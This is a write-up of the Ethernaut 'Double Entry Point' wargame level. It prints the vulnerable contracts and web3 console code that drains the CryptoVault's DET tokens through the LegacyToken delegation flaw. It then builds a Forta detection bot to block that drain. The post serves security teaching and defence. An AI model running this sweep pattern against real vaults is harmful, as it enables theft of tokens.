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Erhan Tezcan
Erhan Tezcan

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Ethernaut: 26. Double Entry Point

#solidity #ethereum #openzeppelin #security

Play the level

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface DelegateERC20 {
  function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
  function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
  function setDetectionBot(address detectionBotAddress) external;
  function notify(address user, bytes calldata msgData) external;
  function raiseAlert(address user) external;
}

contract Forta is IForta {
  mapping(address => IDetectionBot) public usersDetectionBots;
  mapping(address => uint256) public botRaisedAlerts;

  function setDetectionBot(address detectionBotAddress) external override {
    require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
    usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
  }

  function notify(address user, bytes calldata msgData) external override {
    if(address(usersDetectionBots[user]) == address(0)) return;
    try usersDetectionBots[user].handleTransaction(user, msgData) {
      return;
    } catch {}
  }

  function raiseAlert(address user) external override {
    if(address(usersDetectionBots[user]) != msg.sender) return;
    botRaisedAlerts[msg.sender] += 1;
  } 
}

contract CryptoVault {
  address public sweptTokensRecipient;
  IERC20 public underlying;

  constructor(address recipient) public {
    sweptTokensRecipient = recipient;
  }

  function setUnderlying(address latestToken) public {
    require(address(underlying) == address(0), "Already set");
    underlying = IERC20(latestToken);
  }

  /*
  ...
  */

  function sweepToken(IERC20 token) public {
    require(token != underlying, "Can't transfer underlying token");
    token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
  }
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
  DelegateERC20 public delegate;

  function mint(address to, uint256 amount) public onlyOwner {
    _mint(to, amount);
  }

  function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
    delegate = newContract;
  }

  function transfer(address to, uint256 value) public override returns (bool) {
    if (address(delegate) == address(0)) {
      return super.transfer(to, value);
    } else {
      return delegate.delegateTransfer(to, value, msg.sender);
    }
  }
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
  address public cryptoVault;
  address public player;
  address public delegatedFrom;
  Forta public forta;

  constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) public {
    delegatedFrom = legacyToken;
    forta = Forta(fortaAddress);
    player = playerAddress;
    cryptoVault = vaultAddress;
    _mint(cryptoVault, 100 ether);
  }

  modifier onlyDelegateFrom() {
    require(msg.sender == delegatedFrom, "Not legacy contract");
    _;
  }

  modifier fortaNotify() {
    address detectionBot = address(forta.usersDetectionBots(player));

    // Cache old number of bot alerts
    uint256 previousValue = forta.botRaisedAlerts(detectionBot);

    // Notify Forta
    forta.notify(player, msg.data);

    // Continue execution
    _;

    // Check if alarms have been raised
    if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
  }

  function delegateTransfer(
    address to,
    uint256 value,
    address origSender
  ) public override onlyDelegateFrom fortaNotify returns (bool) {
    _transfer(origSender, to, value);
    return true;
  }
}
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Our task in this level is to find the bug in CryptoVault contract, and protect it from being drained out of tokens. Anyways, what is this vault about, and what is sweepToken?

  • CryptoVault is constructed with a recipient address argument.
  • A setUnderlying function sets a token address as the underlying token. This is a one time operation, as per the require line in it checking for the initial value of underlying.
  • A sweepToken function takes a token address as parameter, and transfers the balance of CryptoVault to the recipient. "Sweeping" here is to transfer the entire balance of CryptoVault about any token other than the underlying token to the recipient. This is commonly done so that the user can get mistakenly sent tokens.

The contract object in our console is of the DoubleEntryPoint contract, judging by its properties. We wonder what is the underlying token? We can find it as follows:

// find the CryptoVault address from DoubleEntryPoint
const cryptoVaultAddress = await contract.cryptoVault()
// access "IERC20 public underlying;" variable
await web3.eth.getStorageAt(cryptoVaultAddress, 1)
// 0x00000000000000000000000025047168b9c737a03a111ec039438403e73b7507
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We got the address of DET token, the one we are supposed to protect! so we want to prevent transfer of DET token; but, can we really?

Sweeping the Underlying Token

If we look at the transfer function of LegacyToken contract:

function transfer(address to, uint256 value) public override returns (bool) {
  if (address(delegate) == address(0)) {
    return super.transfer(to, value);
  } else {
    return delegate.delegateTransfer(to, value, msg.sender);
  }
}
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it is actually calling the delegateTransfer of some delegate. I wonder what is that delegate? We can get the address similar to before, but using call instead of getStorageAt:

// find the LegacyToken address from DoubleEntryPoint
const legacyTokenAddress = await contract.delegatedFrom()
// call the getter of "DelegateERC20 public delegate;"
await web3.eth.call({
  from: player,
  to: legacyTokenAddress,
  data: '0xc89e4361' // delegate()
})
// 0x00000000000000000000000025047168b9c737a03a111ec039438403e73b7507
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Oh boy, they are the same... This is bad for the underlying token because if someone were to call sweepToken with LegacyToken as the address, it will cause DET to be swept! Let us do so:

// get the addresses from DoubleEntryPoint
const cryptoVaultAddress = await contract.cryptoVault();
const legacyTokenAddress = await contract.delegatedFrom();

// check initial balance
await contract.balanceOf(cryptoVaultAddress).then(b => b.toString());

// call sweepToken of CryptoVault with LegacyToken as the parameter
const _function = {
  "inputs": [
    { 
      "name": "token",
      "type": "address"
    }
  ],
  "name": "sweepToken", 
  "type": "function"
};
const _parameters = [
  legacyTokenAddress
];
const _calldata = web3.eth.abi.encodeFunctionCall(_function, _parameters);
await web3.eth.sendTransaction({
  from: player,
  to: cryptoVaultAddress,
  data: _calldata
});

// check balance again to see it be 0
await contract.balanceOf(cryptoVaultAddress).then(b => b.toString());
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Boom, DET has been swept.

Preventing the Attack with Forta Detection Bot

Now, we will prevent this attack with a Forta detection bot. We must look at the Forta contract for this. In particular, our bot must follow the IDetectionBot interface, which requests the implementation of a function handleTransaction(address user, bytes calldata msgData) external. Indeed, this function is called within the notify function of Forta contract. To raise an alert, the bot must call raiseAlert function of it's caller (accessed via msg.sender) which will be the Forta contract.

How should we prevent this? Well, the attack was made by calling the sweepToken function of CryptoVault contract with LegacyToken contract as the address. Then, a message call to DoubleEntryPoint contract is made for the delegateTransfer function. That message's data is the one our bot will receive on handleTransaction, because delegateTransfer is the one with fortaNotify modifier. Regarding that function, the only thing we can use for our need is the origSender, which will be the address of CryptoVault during a sweep. So, our bot can check that value within the calldata and raise an alert if it is the address of CryptoVault.

At this point, we need to put special effort into understanding how the calldata will be structured. We are calling delegateTransfer but that is not the calldata our bot will receive. You see, this function has a modifier fortaNotify. The modifier is not a message call, but simply replaces code with respect to the execution line (_;). During notify, the msg.data is passed as a parameter, so this has the structure of the calldata shown in the table above.

After notify, our detection bot's handleTransaction is called with the same msg.data passed to notify. So, during handleTransaction, the calldata will have the actual calldata to call that function, and the delegateCall calldata as an argument.

position bytes type value
0x00 4 bytes4 Function selector of handleTransaction which is 0x220ab6aa
0x04 32 address (padded) user parameter
0x24 32 uint256 offset of msgData parameter, 0x40 in this case
0x44 32 uint256 length of msgData parameter, 0x64 in this case
0x64 * 4 bytes4 Function selector of delegateTransfer which is 0x9cd1a121
0x68 * 32 address (padded) to parameter
0x88 * 32 uint256 value parameter
0xA8 * 32 address (padded) origSender parameter the one we want
0xC8 28 padding zero-padding as per the 32-byte arguments rule of encoding bytes

The * marks the original calldata when delegateTransfer is called. For more information on how this is calculated, see to the end of this post where I create a toy-contract to find out the calldata.

Anyways, it is time to write our bot! We will copy-paste the IDetectionBot interface, as well as IForta interface and Forta contract which we will use within to raise an alert.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IDetectionBot {
  function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
  function setDetectionBot(address detectionBotAddress) external;
  function notify(address user, bytes calldata msgData) external;
  function raiseAlert(address user) external;
}

contract Forta is IForta {
  mapping(address => IDetectionBot) public usersDetectionBots;
  mapping(address => uint256) public botRaisedAlerts;

  function setDetectionBot(address detectionBotAddress) external override {
    require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
    usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
  }

  function notify(address user, bytes calldata msgData) external override {
    if(address(usersDetectionBots[user]) == address(0)) return;
    try usersDetectionBots[user].handleTransaction(user, msgData) {
      return;
    } catch {}
  }

  function raiseAlert(address user) external override {
    if(address(usersDetectionBots[user]) != msg.sender) return;
    botRaisedAlerts[msg.sender] += 1;
  } 
}

contract MyDetectionBot is IDetectionBot {
  address public cryptoVaultAddress;

  constructor(address _cryptoVaultAddress) {
    cryptoVaultAddress = _cryptoVaultAddress;
  }

  // we can comment out the variable name to silence "unused parameter" error
  function handleTransaction(address user, bytes calldata /* msgData */) external override { 
    // extract sender from calldata
    address origSender;
    assembly {
      origSender := calldataload(0xa8)
    }

    // raise alert only if the msg.sender is CryptoVault contract
    if (origSender == cryptoVaultAddress) {
      Forta(msg.sender).raiseAlert(user);
    }
  }
}
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Upon deploying the detection bot with the correct CryptoVault address, we must set the detection bot at the Forta contract:

const fortaAddress = await contract.forta()
const detectionBotAddress = "0x63b2a2028E10025843c90DF9dEF2748565f495F0" // your address here

// call setDetectionBot of Forta with your detection bot address as the parameter
const _function = {
  "inputs": [
    { 
      "name": "detectionBotAddress",
      "type": "address"
    }
  ],
  "name": "setDetectionBot", 
  "type": "function"
};
const _parameters = [
  detectionBotAddress
];
const _calldata = web3.eth.abi.encodeFunctionCall(_function, _parameters);
await web3.eth.sendTransaction({
  from: player,
  to: fortaAddress,
  data: _calldata
})
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Done!

About the Calldata

It took me some time to wrap my head around how exactly the calldata was calculated, so I wrote a toy-contract that acts the same:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract TestBot {
  bytes public calldataAtHandleTransaction;
  bytes public parameterAtHandleTransaction;

  function handleTransaction(address user, bytes calldata msgData) external { 
    calldataAtHandleTransaction = msg.data;
    parameterAtHandleTransaction = msgData;
  }
}

contract TestDet {
  address botAddress;

  constructor(address _botAddress) {
    botAddress = _botAddress;
  }

  function delegateTransfer(
    address addr1, // 0x1111111111111111111111111111111111111111
    uint256 val1,  // 10
    address addr2  // 0x2222222222222222222222222222222222222222
  ) external {
    TestBot(botAddress).handleTransaction(addr1, msg.data);
  }
}
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If you call delegateTransfer of TestDet contract, and then check the public variables of TestBot you will have a clear look on the calldata and msgData argument during handleTransaction. Looking at the documentation for ABI Specification, we see that

bytes, of length k (which is assumed to be of type uint256): enc(X) = enc(k) pad_right(X), i.e. the number of bytes is encoded as a uint256 followed by the actual value of X as a byte sequence, followed by the minimum number of zero-bytes such that len(enc(X)) is a multiple of 32.

Looking at the calldata of delegateTransfer, we have:

  • 4 bytes function selector
  • 32 bytes address
  • 32 bytes unsigned integer
  • 32 bytes address

A total of 100 bytes, which is 0x64 in hex. So, in the calldata of handleTransaction the length value for msgData will be 0x64. What about the offset value?

... for the dynamic types uint32[] and bytes, we use the offset in bytes to the start of their data area, measured from the start of the value encoding (i.e. not counting the first four bytes containing the hash of the function signature)

At the table above we saw that the position of msgData length is at 0x44. That includes the function signature of handleTransaction, so after ignoring it we get the offset value 0x40.

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